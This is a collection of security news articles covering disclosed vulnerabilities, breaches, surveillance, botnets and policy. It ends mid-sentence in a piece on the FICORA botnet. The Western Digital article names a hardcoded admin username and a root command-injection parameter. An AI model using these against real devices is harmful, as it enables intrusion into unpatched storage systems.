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Researchers at Trustwave disclosed two new vulnerabilities in Western Digital My Cloud network storage devices could be exploited by a local attacker to delete files stored on devices or to execute shell commands as root., The two Western Digital My Cloud flaws are an arbitrary command execution vulnerability and an arbitrary file deletion issue. The arbitrary command execution vulnerability affects the common gateway interface script “nas_sharing.cgi” that allows a local user to execute shell commands as root. Hardcoded credentials allows any users to authenticate to the device using the username “mydlinkBRionyg.”, “The first finding was discovering hardcoded administrator credentials in the nas_sharing.cgibinary. These credentials allow anyone to authenticate to the device with the username “mydlinkBRionyg”.” states the analysis published by Trustwave. “Considering how many devices are affected this is very serious one. Interestingly enough another researcher independently released details on the same issue less than a month ago.”, The arbitrary file deletion vulnerability is also tied to the common gateway interface script “nas_sharing.cgi”., “Another problem I discovered in nas_sharing.cgi is that it allows any user execute shell commands as root. To exploit this issue the “artist” parameter can be used.” continues the analysis., , Chaining the two flaws it is possible to execute commands as root, a local attacker could log in using the hardcoded credentials and executing a command that is passed inside the “artist” parameter using base64 encoding., The Western Digital models affected are My Cloud Gen 2, My Cloud PR2100, My Cloud PR4100, My Cloud EX2 Ultra, My Cloud EX2, My Cloud EX4, My Cloud EX2100, My Cloud EX4100, My Cloud DL2100 and My Cloud DL4100., Trustwave reported the issues to Western Digital in 2017, according to the researchers the flaws are addressed with the firmware (version 2.30.172 ) update, released on Nov. 16, 2017., “As a reminder, we urge customers to ensure the firmware on their products is always up to date; enabling automatic updates is recommended. We also urge you to implement sound data protection practices such as regular data backups and password protection, including to secure your router when you use a personal cloud or network-attached storage device.” recommends Western Digital., Pierluigi Paganini, (Security Affairs – Western Digital My Cloud, hacking)

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A team of researchers at Carnegie Mellon University and engineers at Facebook have designed a detection technique for man-in-the-middle attacks over SSL on a large-scale. They analyzed the data extracting useful information, including the data related to digital certificates presented, about the methods used the attacks., The researchers analyzed nearly 3.5 million SSL connections made to Facebook during a four-month period started in December 2013. They discovered that 6,845, corresponding to 0.2 percent of all connections used fake SSL certificates with the intent to syphon data. This data is just related to Facebook, this means that something quite similar is happening for connections to other popular websites., It is a common practice of cyber criminal ecosystem to use fake SSL certificates for bogus websites impersonating legitimate web services like e-commerce, payment platform and social networks. The attackers usually use self-signed digital certificates or stolen certificate that is accepted as valid by most browsers.,  , The paper suggests different mitigations methods that browser vendors could implement to mitigate the cyber threat, including the adoption of HTTP Strict Transport Security, Public Key Pinning, TLS Origin Bound Certificates, and the validation of certificates with notaries., “Our data suggest that browsers could possibly detect many of the forged certificates based on size characteristics, such as checking whether the certificate chain depth is larger than one,” the report said. “We strongly encourage popular websites, as well as mobile applications, to deploy similar mechanisms to start detecting SSL interception.”, Pierluigi Paganini, (Security Affairs –  SSL certificates, Man-In-The-Middle)

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It’s official, the joint venture between Symantec and Huawei Technologies is ended because the American IT security firms feared that the collaboration with the Chinese telecommunications producer could have a sensible impact on its business. In particular the US Government could not give to Symantec access to its classified information cyber threats. The joint venture, called Huawei – Symantec Technologies, was established in 2007 with the purpose to develop and distribute security appliances to telecommunications carriers. Symantec would sell its quote of 49% to Huawei for US$530 million., , Symantec CEO and President Enrique Salem has declared:, “Symantec achieved the objectives we set four years ago and exit the joint venture with a good return on our investment, increased penetration into China, and a growing appliance business.”, Confronted with 10 million cyber attacks per day, the U.S. Defense Department is changing its approach to the problem, placing greater emphasis on its relations to those which are the main providers of services and equipment., Groups of cyber criminals are aware of the huge demand for information about military sectors, for this reason they continuously try to acquire and sell information about each country’s militia and intelligence agencies through several techniques, espionage, phishing, extortions, cyber attacks, hacking of major government contractors., The risks are really serious, this information could be used by hostile government in cyber attacks and cyber espionage activities in the short term. While, on the domestic front the US Government, aware of its vulnerability, is moving defining and implementing cyber strategies aimed at strengthening its systems, the events of recent months have shown that relationships with contractors are the weakest link in the chain safety. The contractors with governmental exchange sensitive information and therefore it is expected that the government seeks assurances regarding arrangements employed in the management of information., The decision of the U.S. Is shared and is in line with the stringent requirements of Government on cyber security., The Cyber espionage is one of the most common forms of cybercrime in this period of great concern to the world of private industry and military, a growing number of companies are victims of computer attacks with purposes of cyber espionage to steal corporate secrets and intellectual property with the intent to benefit in economic terms., The information acquired may in fact be resold by criminals to competitor companies and governments interested to the strategic know-how. The line between cyber crime and cyber warfare is thin, we have understood that one of the main strategies pursued by governments around the world is to make intelligence operations through technology to gather sensitive information relating to private industry and military sectors that somehow represent the backbone of the nation victims of attacks., The cyber espionage is a terrible cyber threat can have devastating effects on the social fabric of a nation as well as on the actions of every private company, is sneaky and silent, and for this reason, unlike other crimes may be conducted for years without the victim being aware of it with serious consequences, as happened in the case of Notartel company., The biggest threat in term of cyber-espionage against American business are China and Russia engaged in efforts to obtain sensitive business and technology information as well. The report projects that China and Russia will “remain aggressive and capable collectors of sensitive US economic information and technologies, particularly in cyberspace.”, The New York Times reported on Monday that Symantec’s decision came as a political move to coincide with the US government’s efforts in the fight against cyber threat. The sources have not been declared because it was not authorized to speak. A business relationship with Huawei could have practical implications for the American company., Huawei (Officially Huawei Technologies Co. Ltd.) is a Chinese multinational networking and telecommunications equipment and services company. It is the second-largest supplier of mobile telecommunications infrastructure equipment in the world (after Ericsson)., The Chinese company has always been a disputed too close to the Chinese government policy and the Chinese People’s Liberation Army. Do not forget that the government of Bejing has always been accused of meddling in the private choices of the national companies, we can imagine the interference in the circumstances. Many point to the company as under a full government control, pointing out that Ren Zhengfei, the founder of the company, served as an engineer in the Chinese People’s Liberation Army in the early 1980s., The Chinese company has received numerous allegations in the past, to name a few we think of its proximity to the government and the company has provided support in the implementation of systems of censorship. Also at Huawei has been questioned in the past have supported numerous operations of cyber espionage and cyber attacks such as the operation GhostNet., According to The New York Times report Huawei is leaving US due of increased American government oversight., The news comes at a historic moment where the majority of Western states, while interested in working with Chinese companies, fearing the impact on their business from different points of view. China is accused of being responsible for the majority of attacks against foreign companies and agencies, and many experts believe that these attacks are directly sponsored by Beijing. Huawei is not the only company to be damaged by such a protectionist policy, the U.S. Government initiated an investigation in November to assess national security threats China’s presence from the networking vendors in the country, including other companies such as ZTE. Complicating the situation are the same Chinese companies with the collaboration of governments considered hostile like Iran, the US Government has started an investigation on Chinese companies for supplying sensitive technology to Iran and violating international agreements. In 2011, United Against Nuclear Iran (UANI), an independent agency, requested to Huawei to its business with the Iranian Government. UANI alleges that Huawei provides Iranian regime surveillance systems for cellular and electronic technology to spy on its citizens, and track down human rights activists and dissidents., The distrust of Chinese companies is high despite the desirable Asian market and this shows the overall awareness in the cyber threats and of the possible damage related. Huawei is still facing similar problems in telecom markets in India and Australia, in this last case the federal government has banned the company from participating in multibillion- dollar tenders to supply equipment to the broadband network., While I understand the defensive approach that I believe such behavior could have serious repercussions on the global market. Chinese companies are those that have the biggest capital at the time and close the door permanently is not the right approach. The real problem is the inability to cope with the threat to date opting for the escape. I think that in terms of security little will change by breaking these strategic alliances. The attacks will continue, will increase in frequency and efficiency, so the only way out is to prepare to face them. Stop profitable relationships so I think it is a serious mistake., Pierluigi Paganini, (Security Affairs – Cyber espionage, Huawei – Symantec)

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In the wake of Paris attacks, intelligence agencies and law enforcement have raised again the debate about the encryption requesting IT giants to support them by introducing backdoors in their products., But news reports of the Paris attacks have revealed that at least some of the time, the terrorists behind the attacks didn’t bother to use encryption while communicating, allowing authorities to intercept and read their messages., Clearly the ability of law enforcement in intercepting communication is essential in fighting terrorism, the crusade against the online encryption is instrumented by part of the intelligence community. In some documented cases, the ISIS terrorists haven’t adopted the necessary measures to properly use encryption causing the exposure of their communications., So what exactly are ISIS attackers doing for OPSEC?, Wired has published an interesting post to respond the question, it started from an ISIS guide to operational security that was available online., The ISIS guide, which is written in Arabic, alongside with other documents were analyzed by Aaron Brantly and other researchers with the Combating Terrorism Center at West Point’s military academy., The documents provide a long series of suggestion to the members of the organization to avoid online surveillance, for example it bans the use of Instagram meanwhile it suggests dozens of privacy and security applications, including the Tor browser and the Tails distro, Cryptocat, Wickr, and Telegram encrypted messaging systems, Hushmail and ProtonMail email services, and RedPhone and Signal for encrypted phone communications., , The ISIS guide includes most of the recommendations provided by civil liberties, privacy defender, and journalist groups when dealing with surveillance operated by many regimes across the world., “The documents indicate that the jihadis have not only studied these other guides closely, but also keep pace with the news to understand the latest privacy and security vulnerabilities uncovered in apps and software that could change their status on the jihadi greatest-hits list.” states Wired., The ISIS guide invites members of the organizations to use Gmail only with false credentials and in conjunction with the Tor network or by protecting the access with a VPN (of course avoiding US VPN providers). The use of mobile OS is considered secure when data connections are routed through the Tor network., In the list of the banned applications, there are also the Apple’s iMessage and WhatsApp, despite both implements end-to-end encryption the jihadists believe that companies spies on behalf of the US Government., It also warns that mobile communications can be intercepted and recommends followers to use crypto phones like Cryptophone or BlackPhone instead., “Instead of buying the expensive Blackphone, they’re trying to hack their own devices and route traffic through Tor,” explains Brantly who added that the ISIS demonstrating an increasing interest in hacking . “There’s a whole section on hacking in the ISIS forums,” Brantley says. “They’re not super-talented hackers, but they’re reasonable.”, The manual also provides instructions to disable location services and geotagging when using mobile apps or taking photos and videos., Dropbox is on the black list because Edward Snowden’s revelations, and because former Secretary of State Condoleezza Rice is on the company’s investors board., “It uses a lot Services “Alclaud” or cloud services to store their files and photographs or make a backup copy of important and non-important files, and perhaps the most popular service in this area is a service Dropbox Drop Box, which joined Condoleezza Rice of the Council of your managed recently and is known to fight for privacy and support the absolute spy mail, so Adraor Snowden advised not to use the service and considered it .dangerous to personal security and privacy Here we put alternative and safe services and less than the paths of Xbox in .terms of space and features but much better ones”, Mega Services, SpiderOak service, SugarSync service and Copy.com service are cloud storages suggested in the manual., “This is about as good at OPSEC as you can get without being formally trained by a government,” Brantly, a cyber fellow with the West Point center, told WIRED. “This is roughly the same advice I give to human rights activists and journalists to avoid state surveillance in other countries. If they do it right, then they can become pretty secure. But there’s a difference between telling somebody how to do it and then them doing it right.”, The manual provides instruction to assume a secure posture online avoiding to be infected by malware or get hacked. It suggests to carefully manage suspicious email and provides detailed instructions on how to set up a private Wi-Fi network., Interesting the use of mobile apps like FireChat to share photos and text at short distances without needing to access the Internet., Let’s close with two further elements emerged from the analysis of the ISIS guide, there is no reference to the use of gaming console as messaging platforms, neither the use of home-brewed encryption programs developed by ISIS members., Pierluigi Paganini, (Security Affairs – ISIS, ISIS guide)

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Christmas time is a critical period for the gaming industry that is threatened by hackers that want to paralyze their services with massive attacks., Yesterday I reported the DDoS attacks launched by Phantom Squad and PoodleCorp against Steam and Origin Servers, and unfortunately they are not alone., Hackers threaten to take down Xbox Live and PSN on Christmas Day, and we know that someone already done is in the same period two years ago when Lizard Squad hackers took down the networks of Sony PSN and Microsoft XBox Live., , Which are the risks for gamers?, People that will buy or will receive new PlayStation and XBoxe consoles will not be able to log into the online gaming console, it will be not possible to download and buy online games, neither play online with other gamers., Now a hacker group that called itself R.I.U. Star Patrol (StarPatrolling) posted a video on YouTube, announcing that they will take down Xbox Live and PSN on Christmas Day with a massive DDoS attack., , The threat is considered credible, the same group managed to take down Tumblr this week for two hours., “We do it because we can,” the group said. “We have not been paid a single dollar for what we do.”, @mashable We are claiming responsibility for the Tumblr outage #StarPatrol, — R.I.U. Star Patrol (@StarPatrolling) 21 dicembre 2016, , Just after the attack, the hackers released an interview with Mashable and motivated the attack with the following statement., “There is no sinister motive,” they replied when asked for the cause of the attacks.”It’s all for light hearted fun.”, Via DM, the group told Mashable the DDoS attack wasn’t meant to harm anyone., Xbox Live and PSN networks were both target in the past by hacker so they worked to improve their defense anyway recent attacks powered by the Mirai botnet demonstrated that it could be quite simple for hackers to take down major web services., Stay Tuned!, Pierluigi Paganini, (Security Affairs – R.I.U. Star Patrol, Xbox Live and PSN)

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58 million customer records have been leaked online by hackers, the huge trove of data seems to come from a data storage firm., The records include personal information such as names, dates of birth, email and postal addresses, job titles, phone numbers, vehicle data, and IP addresses., The archive appears to have been exfiltrated from an unsecured database of the Modern Business Systems (MBS), which is a company that provides data storage and database hosting services., I received a portion of the archive a few days ago by the hacker which uses the Twitter account @0x2Taylor. When the hacker sent me the archive we both had no idea about its source., The hacker released at least 58 million records stolen from Modern Business Systems’s systems., Database Loaded : 52 Million Subscriber DB Email,DOB,Name,Address,IP,Phone Number. #0x2Gang #DataDump, — #BBK ~ $Taylor (@0x2Taylor) 8 ottobre 2016, , Experts who analyzed the archive determined that it belongs to MBS which was exposing an unsecured MongoDB database on the Internet., “While the data itself is easy enough to read, identifying the owner of the database has been more challenging. Nothing within the dumped dataset itself pointed to who might be responsible for the information. Through additional investigation and subsequent exchanges with 0x2Taylor, researchers were able to obtain the IP address of the database.” reads a blog post published by Risk Based Security. “With that information, researchers were able to confirm it was an open MongoDB installation and identify the owner as Modern Business Solutions. Working with Databreaches.net, Modern Business Solutions was contacted and made aware of the issue. Although neither RBS or Databreaches.net have yet received a reply from Modern Business Solutions, the database has since been secured and is no longer accessible.”, , The database includes data from companies that are customers of the MBS, if you have had a business relationship with it you can check for the presence of your data through the breach notification service “Have I Been Pwned?” ., Unfortunately, the situation is probably more severe because giving a close look at the above image experts speculate the hacker had access to a database containing over 258 million rows of customer records., This breach is the last in order of time that is related to misconfigured MongoDB databases. In the past security experts, In December the popular expert and Shodan creator John Matherly found over 650 terabytes of MongoDB data exposed on the Internet by vulnerable databases., Pierluigi Paganini, (Security Affairs – Modern Business Systems, data breach)

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Congressman John Garamendi introduced a bill that would require the U.S. Secretary of Defense to establish a backup for GPS within three years using a new type of navigation technology pioneered by the UK known as eLoran. This backup system could reach places that GPS currently cannot and prevent serious disruption caused by a prolonged failure of the GPS system. 16-days continuous GPS disruption of South Korea in 2012 could be taken as an example.,  “We are increasingly reliant on the precision, navigation, and timing services that GPS provides. From land navigation on cell phones to a timing source for our national infrastructure, we need a reliable backup system to GPS.” Garamendi said., “The National Positioning, Navigation, and Timing Resilience and Security Act of 2015 is a bipartisan bill that would establish a system to backup GPS, making our nation’s geopositioning infrastructure more resilient to threats both natural and nefarious” he added., On May 22, 2015 it was announced that  a cooperative research and development agreement (CRADA) for evaluation of eLoran as a potential complementary system to the GPS was formed by Exelis, UrsaNav, the Department of Homeland Security’s Science and Technology Directorate (DHS S&T), and the U.S. Coast Guard., Global Positioning System (GPS) is the most widely-used positioning technology in today’s world with a vast array of military, civil and commercial applications. The technology is widely acknowledged to be vulnerable to both deliberate and accidental jamming attacks. GPS signals are relatively weak and consequently such signals can be easily corrupted, degraded, or denied access to., It’s believed that wide availability of GPS jammers online for as little as £30 and the disruption of GPS signals caused by jamming or other cyber security threats would cause serious national security, intelligence, and economic disruption for all countries. Therefore, a reliable backup system for GPS has been considered necessary for preventing glaring economic and security threats., Enhanced long-range navigation system (LORAN), or eLORAN, as a reliable backup for GPS signals is an internationally-standardized positioning, navigation, and timing (PNT) service for various applications. It is the latest proven series of LOng-RAnge Navigation (LORAN) systems and takes full advantage of 21st century technology. A million times stronger signals and much closer distance of the beacons to the receiver are the reasons for making eLoran more resistant to GPS jamming., Based on published news, in some cases criminals managed to steal ships transporting valuable goods simply by jamming mobile and GPS signals. As a result of this disruption, the victims remained clueless about their location and unable to ask for help., , Since 2010 and for three continuous years, South Korea repeatedly faced GPS signals jamming caused by North Korea. As the Table shows, it was reported that 1,016 airplanes and 254 ships in South Korea experienced GPS disruptions during the 16 days’ North Korean jamming in 2012. Due to problems caused by its northern neighbor, South Korea is moving ahead to implement a national enhanced Loran (eLoran) system to provide PNT services in the shortest time possible., , Some countries around the world have prepared themselves to use eLoran. For example, The UK is the first in the world to deploy this technology for shipping passenger and cargo services to ensure that ships equipped with eLoran receivers can navigate safely in the event of GPS failure in one of the busiest shipping regions in the world., It’s anticipated that the bill becomes a law and eLoran as a backup for GPS signals could prevent serious national security, intelligence, and economic problems for all countries., About the Author, Ali Taherian (@ali_taherian) is an enthusiastic information security Officer. He’s finished his education in information security and has recently been involved in banking software and payment security industry. Taherian is proud to be certified IBM Cloud Computing Solution Advisor and ECSA and enjoys sharing and tweeting about security advances and news., Edited by Pierluigi Paganini, (Security Affairs –  eLoran, GPS)

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The JTRIG unit of the British GCHQ intelligence agency has designed a collection of applications that were used to manipulate for internet deception and surveillance, including the modification of the results of the online polls. The hacking tools have the capability to disseminate fake information, for example artificially increasing the counter of visit for specific web sites, and could be also used to censor video content judged to be “extremist.” The set of application remembers me the NSA catalog published in December when the Germany’s Der Spiegel has revealed another disturbing article on the NSA surveillance, the document leaked by tge media agency was an internal NSA catalog that offers spies backdoors into a wide range of equipment from major vendors. , The existence of the tools was revealed by the last collection of documents leaked by Edward Snowden, the applications were created by GCHQ’s Joint Threat Research Intelligence Group (JTRIG) and are considered one of the most advanced system for propaganda and internet deception. JTRIG is the secret unit mentioned for the first time in a collection of documents leaked by Snowden which describe the Rolling Thunder operation, the group ran DoS attack against chatrooms used by hacktivists., “and it also used “fake victim blog posts,” “false flag operations,” “honey traps” and psychological manipulation to target online activists, monitor visitors to WikiLeaks, and spy on YouTube and Facebook users.” states the blog post published on the Intercept., The post mentions a top-secret GCHQ document called “JTRIG Tools and Techniques” which details the operations and the techniques used by JTRIG unit, the presentation was created with the purpose to share information on “weaponised capability” of the team with other units of the GCHQ., Many tools designed by JTRIG are introduced as “in development,”but many of them as “fully operational, tested and reliable.”, “We only advertise tools here that are either ready to fire or very close to being ready.” reports the presentation., The document is reserved for internal use, querying it GCHQ agents may have an idea of surveillance and online deception activities which can be conducted by the Intelligence agency., “The page indicates that it was last modified in July 2012, and had been accessed almost 20,000 times.”, ,  , The presentation details the list of tools designed by the JTRIG which were used for the Internet surveillance and also for PSYOPs by manipulating and distorting online political discourse and disseminating state propaganda., The post provides the complete list of JTRIG capabilities:, The information provided in the presentation confirms the previous revelations on the capabilities of British Intelligence, the tools and the techniques available at of GCHQ are not different from the ones used by NSA and by its secret unit known as TAO., In the past we discussed about Tempora Operation, the massive tapping program conducted by Britain’s Government Communications Headquarters (GCHQ) and revealed by The Guardian, this last revelation on JTRIG’s activities shows that British Intelligence, like US one, is working to improve its capabilities for the control of the Internet and any other channel of communication., GCHQ refused to provide any comment on the revelation, the agency claims that it acts “in accordance with a strict legal and policy framework” and is subject to “rigorous oversight.” …. what do you think about?, Pierluigi Paganini, Security Affairs –  (GCHQ, JTRIG)

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Since the December 30th Yahoo website is proposing a malicious ad that was serving a malware, the discovery was made by Dutch security firm Fox IT., Visitors to the Yahoo website see the advertisements served up by ads.yahoo.com, but unfortunately hackers have exploitined it to serve malicious contents., It is still unknown who is behind the attack, but the hackers are clearly financially motivated, according other investigator probably they are offering services to other criminal gangs selling victim’s credential on the black market  or renting infected host controlled by them., Of course the impact of malware-based attacks via a so popular portal is considerable serious, Fox IT estimated that the website used for the attack was receiving nearly 300,000 visits per hour, visitors most affected are located in Romania, Great Britain and France., “Given a typical infection rate of 9% this would result in around 27.000 infections every hour.”, , The post on Fox IT reports that “Those malicious advertisements are iframes hosted on the following domains”:, Upon visiting the malicious advertisements users get redirected to a “Magnitude” exploit kit via a HTTP redirect to seemingly random subdomains of:, “All those domains are served from a single IP address: 193.169.245.78. This IP-address appears to be hosted in the Netherlands.” states Fox IT., Magnitude exploit kit was very common, it was used for the recent attacks against PHP.net website and against the on-demand Internet streaming media NetFlix., Magnitude kit exploits vulnerabilities in Java and serve on the victim’s machine any kind of malware including:, Yahoo is aware of the ongoing malware attack and is taking necessary countermeasures to stop it in fact traffic to the server hosting the malicious exploit is decreasing since Friday evening. The hope is that Yahoo in the future will be able to protect the entire data flaw also related to third parties sites that propose ads through its channel. Meantime users need to keep their systems updated and install defense mechanisms, only following this couple of suggestions they could reduce the risk to be infected by a malware., Pierluigi Paganini, (Security Affairs – malware, Yahoo ads)

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The bug in the Android Twitter app affects the “Protect my Tweets” option from the account’s “Privacy and safety” settings that allows viewing user’s posts only to approved followers. , People who used the Twitter app for Android may have had the protected tweets setting disabled after they made some changes to account settings, for example after a change to the email address associated with the profile., “We’ve become aware of an issue in Twitter for Android that disabled the “Protect your Tweets” setting if certain account changes were made.” reads the security advisory published by the company., “You may have been impacted by this issue if you had protected Tweets turned on in your settings, used Twitter for Android, and made certain changes to account settings such as changing the email address associated with your account between November 3, 2014, and January 14, 2019.”, The vulnerability was introduced on November 3, 2014, and was fixed on January 14, 2019, users using the iOS app or the web version were not impacted.  , Twitter has notified impacted users and has turned “Protect your Tweets” back on for them if it was disabled. , “We are providing this broader notice through the Twitter Help Center since we can’t confirm every account that may have been impacted. We encourage you to review your privacy settings to ensure that your ‘Protect your Tweets’ setting reflects your preferences,” continues the advisory., Recently Twitter addressed a similar bug, in December the researcher Terence Eden discovered that the permissions dialog when authorizing certain apps to Twitter could expose direct messages to the third-party., In September 2018, the company announced that an issue in Twitter Account Activity API had exposed some users’ direct messages (DMs) and protected tweets to wrong developers., Twitter is considered one of the most powerful social media platforms, it was used in multiple cases by nation-state actors as a vector for disinformation and propaganda. , In December Twitter discovered a possible nation-state attack while it was investigating an information disclosure flaw affecting its platform., Pierluigi Paganini, (SecurityAffairs – Twitter app, Android)

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User’s privacy is considered a top priority after Snowden‘ revelations on the US surveillance program, recently a couple of cases have shocked IT security community both related to the lack of correct verification of digital certificates that allowed attackers to spy on secure communications. The first case was related to Apple that released an urgent update to iOS (iOS 7.06) to fix a flaw for certificate-validation checks that could be abused by attackers to conduct a man-in-the-middle attack within the victim’s network  to capture or modify data even if protected by SSL/TLS.Yesterday I reported another clamorous case related to GnuTLS, a serious flaw in the certificate verification process of open source secure communications library exposes Linux distros, apps to attack, also in this case the flaw is exploitable for surveillance purposes.In both cases encrypted communications were not enough to preserve users from monitoring, another earthquake is shacking IT industry, also HTTPS can leak personal data to attackers., A Team of US researchers at UC Berkeley focused a study on the HTTPS traffic analysis of ten widely used HTTPS-secured Web sites discovering that it is possible to capture “personal details, including medical conditions, financial and legal affairs and sexual orientation.”, HTTPS is not sufficient to make private web browsing, Berkeley researchers have revealed a technique for identifying individual web pages visited by users, with up to 89% accuracy., The list of website using HTTPS examined includes Mayo Clinic, Planned Parenthood, Kaiser Permanente for health-care industry, Wells Fargo, Bank of America for banking and also  Net ix and YouTube for streaming video., By analogy to the approach of Bag-of-Words to document classification, the researchers refer their study as Bag-of-Gaussians (BoG),  the Gaussian distribution is used to determine similarity to each cluster and map traffic samples into a fixed width representation compatible with a wide range of machine learning techniques., “Our attack applies clustering techniques to identify patterns in traffic. We then use a Gaussian distribution to determine similarity to each cluster and map traffic samples into a fixed width representation compatible with a wide range of machine learning techniques,” “We design our attack to distinguish minor variations in HTTPS traffic from significant variations which indicate distinct traffic contents. Minor traffic variations may be caused by caching, dynamically generated content, or user-specific content, including cookies. Our attack applies clustering techniques to identify patterns in traffic.” say the researchers., Prerequisite to conduct the attack is that the attacker must be able to visit the same web pages as the victim, and have access to the target’s traffic data to identify patterns in encrypted traffic indicative of content visited by the user. Be aware this means that an ISPs for example could be able to spy on web browsing even if it is on a secure channel via HTTPS. , “ISPs are uniquely well positioned to target and sell advertising since they have the most comprehensive view of the consumer. Both ISPs and commercial chains of Wi-Fi access points have shown efforts to mine customer data and/or sell advertising. These vulnerabilities would allow ISPs to conduct data mining despite the presence of encryption,” the researchers say., The technique could be adopted also by oppressive regimes to target dissidents or by private companies to monitor web pages visited by their employees. The researchers detailed the evaluation of the performance of attack, comparing it with a selection of previous techniques (Liberatore and Levine (LL), Panchenko et al. (Pan), and Wang).,  , The BoG attack averages 89% accuracy, but what is surprising is that only 4 of the 10 websites included in experimental have an accuracy below 92%, it must be considered also that to date, all approaches have assumed that the victim browses the web in a single tab and that successive page loads can be easily delineated., The team announced that in the future they will investigate the impact on analysis results removing this limitation, for example, while many users have multiple tabs open at the same time., Pierluigi Paganini, (Security Affairs –  HTTPs, encryption)

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Like many other Governments, also Vietnam is deploying a cyber army of 10000 cyber experts to fight online dissent in the country., The news was revealed by a top Vietnamese general last week, the official that the brigade dubbed ‘Force 47’ has been tasked with fighting “wrongful views” spreading online., More than half of the population (around 93 million people) has access to the Internet., According to web watchdog Freedom House, the Internet in Vietnam is “not free”, the organization ranked it second only to China in Asia., Human Rights Watch deputy Asia director Phil Robertson believes that the brigade Force 47 is a “shocking new dimension to Vietnam’s crackdown on dissent”., “This is just the latest plank in a campaign to curb internet freedoms at all costs,” Shawn Crispin, Committee to Protect Journalists’ Southeast Asia representative, told AFP Friday. , “While they can’t unplug Facebook, Instagram and the likes outright, they can apply more and more pressure on those platforms and it looks like these cyber troops are their latest attempt to do that.” , The activist Nguyen Chi Tuyen (aka Anh Chi) said the new brigade is an important step in ahead of online repression., “The main purpose for Force 47 is to try and control news and public opinion on the internet… they want to protect the party, not protect the country,” explained Tuyen., The Vietnamese Government is applying a strict online monitoring, it continues to ask tech giants like Facebook and YouTube to remove any “toxic content” from their platforms., The Vietnamese Government believes that hostile groups and foreign governments could use social media and the Internet to destabilize the country and threaten the “prestige of the party’s leaders and the state”., , According to Amnesty International, many dissidents have already been identified and arrested in the country, at least 15 people this year., Madeline Earp, a senior research analyst with Freedom House, explained that the unit Force 47 is likely to include commentators tasked of spreading online pro-government content and counter critics., “Vietnam very much follows China’s example when suppressing internet freedom, particularly when it comes to blocking websites and arresting dissidents,” she told AFP., Vietnam had built up considerable cyber capabilities in across the years, according to the incident response firm Volexity, Vietnamese APT32 group is today one of the most advanced APTs in the threat landscape., Pierluigi Paganini, (Security Affairs – Force 47, Vietnam)

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A few days ago the firm Parity Technologies made the headlines because someone has accidentally triggered a vulnerability in the popular Parity Wallet that locked up $280 million in Ether, including $90 million raised by Parity Technologies’s founder Gavin Woods., Is it really an incident?, A crypto-currency collector who was locked out of his $1m Ethereum multi-signature wallet has claimed it was “deliberate and fraudulent” act., Parity Technologies, which is behind the popular Ethereum Parity Wallet, announced the incident that was caused by a severe vulnerability in its “multisignature” wallets created after this July 20.  Owners of the affected wallets will be not able to move their funds., ” A vulnerability in the Parity Wallet library contract of the standard multi-sig contract has been found.” reads the announcement., “Following the fix for the original multi-sig issue that had been exploited on 19th of July (function visibility), a new version of the Parity Wallet library contract was deployed on 20th of July. However that code still contained another issue – it was possible to turn the Parity Wallet library contract into a regular multi-sig wallet and become an owner of it by calling the initWallet function. It would seem that issue was triggered accidentally 6th Nov 2017 02:33:47 PM +UTC and subsequently a user suicided the library-turned-into-wallet, wiping out the library code which in turn rendered all multi-sig contracts unusable since their logic (any state-modifying function) was inside the library.”, The vulnerability was triggered by a regular GitHub user, “devops199,” who allegedly accidentally removed a critical library code from the source code, this operation turned all multi-sig contracts into a regular wallet address with devops199 as its owner., Devops199 then killed the wallet contract, making all Parity multisignature wallets tied to that contract useless, and locking up their funds., , One of the frozen Ethereum wallets belongs to the startup Cappasity that operates an online marketplace for AR and VR 3D models. The firm had 3,264 ETH in the Parity wallet (roughly $1m at current prices) that it earned from punters buying ARtokens, which can be exchanged for designs when the market launches later this year., Cappasity believes the incident was not accidentally, someone deliberately triggered the flaw. The experts at the firm analyzed the devops199’s attempts to extract and change ownership of ARToken’s and Polkadot’s smart contracts. According to the firm, the people behind the account were poking around, eventually triggering the catastrophic bug in Parity’s software, “Our internal investigation has demonstrated that the actions on the part of devops199 were deliberate,” said Cappasity’s founder Kosta Popov in a statement this week., “When you are tracking all their transactions, you realize that they were deliberate… Therefore, we tend to think that it was not an accident. We suppose that this was a deliberate hacking. We believe that if the situation is not successfully resolved in the nearest future, contacting law enforcement agencies may be the right next step.”, Parity has yet to issue an update to solve the problem and hasn’t provided further comments to the media., The incident will surely have an immediate effect on investor confidence in companies operating in this emerging industry. What happened is unheard and disconcerting., Pierluigi Paganini, (Security Affairs – Parity Wallet, hacking)

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In direct response to the publication of Radware’s analysis of the new discovery of the DemonBot malware strain effecting Hadoop clusters earlier the week, October 25th, 2018, 0x20k of Ghost Squad Hackers has released the full source code of the 0day exploit used to build his newest model; the FICORA Botnet. 0x20k, who is also credited as the author of the Yasaku Botnet, is a co-author of the 0day exploit provided below., Unlike DemonBot which is credited with infecting 70 servers to date, 20k claims to have infected over 1,000 with the potential for pulling over 350 GBPS – verified through Voxility., , According to 20k, also known as URHARMFUL, the author of now infamous DemonBot Malware strain got his source code from one of the authors of Owari and stole it off his servers before dumping it online in September 2018. In this way DemonBot’s “accolades” are going to the wrong person, which is why 20k has decided to release his exploit in the wild to verify ownership before anyone tries to steal it away from him. 20k has also released several videos of him testing out various attacks on different servers and services, including OVH, NFO, ProxyPipe, and Mineplex – allegedly pulling anywhere from 110 GBPS to 200 GBPS., In terms of how the two bots operate, they are extremely different. For example, DemonBot infects through port 6982 on either 22 or 23 depending on the availability of Python or Perl and telnetd on the device/server., Whereas FICORA infects through Port 8088. On Demonbot, the DDoS attack vectors supported by are UDP and TCP floods, whereas FICORA utilizes URG Flood on TCP /32. Moreover, DemonBot is just a renamed version of Lizkebab, whereas FICORA is similar to Mirai – but has different functions., , Full 0Day Exploit:,  , Rogue Security Labs has reached out to several of the affected services to confirm the validity of the attacks. While OVH declined to comment on the matter, John aka Edge100x, President and CEO of NFO confirmed each and every attack targeting their servers – of which there were 3. ProxyPipe, on the other hand, took a defensive stance to my emails, claiming that their servers have never been crashed, and that the company has never seen anything near 200 GBPS., In response to the DoS attack faced by NFO, John said “The 110 Gbps number is likely from our website – which it was. Adding that “It is common for attackers to reference that site and assume that they generated that much traffic when they are able to trigger a null-route, though that’s not what it actually means.” He did not confirm or deny whether or not the FICORA botnet could pull that sort of traffic, he just claims hitting the IP’s listed on YouTube wouldn’t necessarily provide the Botnet owner with an accurate reading of the traffic generated. Though he said those IP’s certainly were crashed on the selected dates., Upon analysis, Steve Loughran, a software developer specializing in Apache Hadoop, told Rogue Security that “If this is happening on a YARN cluster where Kerberos is enabled, then somehow there’s a weakness in the YARN REST API where SPNEGO-authenticated verification of caller identity has failed. This is something we can look at and address. Or it could be something is playing with default passwords for management tools and using that to gain permission.” Explaining that “It’s as if the cluster 